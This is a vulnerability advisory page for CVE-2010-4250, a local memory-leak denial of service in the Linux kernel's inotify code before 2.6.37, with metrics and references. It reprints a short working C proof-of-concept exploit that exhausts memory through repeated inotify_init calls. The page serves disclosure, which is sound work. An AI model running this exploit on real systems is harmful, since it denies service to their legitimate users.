CVE-2010-4250 : Detail

CVE-2010-4250

0.05%V3
Local
2012-06-21
23h00 +00:00
2012-06-21
23h00 +00:00
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CVE Descriptions

Memory leak in the inotify_init1 function in fs/notify/inotify/inotify_user.c in the Linux kernel before 2.6.37 allows local users to cause a denial of service (memory consumption) via vectors involving failed attempts to create files.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C [email protected]

EPSS

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EPSS Score

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Exploit information

Exploit Database EDB-ID : 35013

Publication date : 2010-11-23 23h00 +00:00
Author : Vegard Nossum
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/45036/info The Linux kernel is prone to a local denial-of-service vulnerability. Attackers can exploit this issue to cause an out-of-memory condition, denying service to legitimate users. */ #include <sys/inotify.h> #include <unistd.h> int main(int argc, char *argv[]) { int fds[2]; /* Circumvent max inotify instances limit */ while (pipe(fds) != -1) ; while (1) inotify_init(); return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.6.36.4

Linux>>Linux_kernel >> Version 2.6.36.1

Linux>>Linux_kernel >> Version 2.6.36.2

Linux>>Linux_kernel >> Version 2.6.36.3

References

http://www.openwall.com/lists/oss-security/2010/11/24/11
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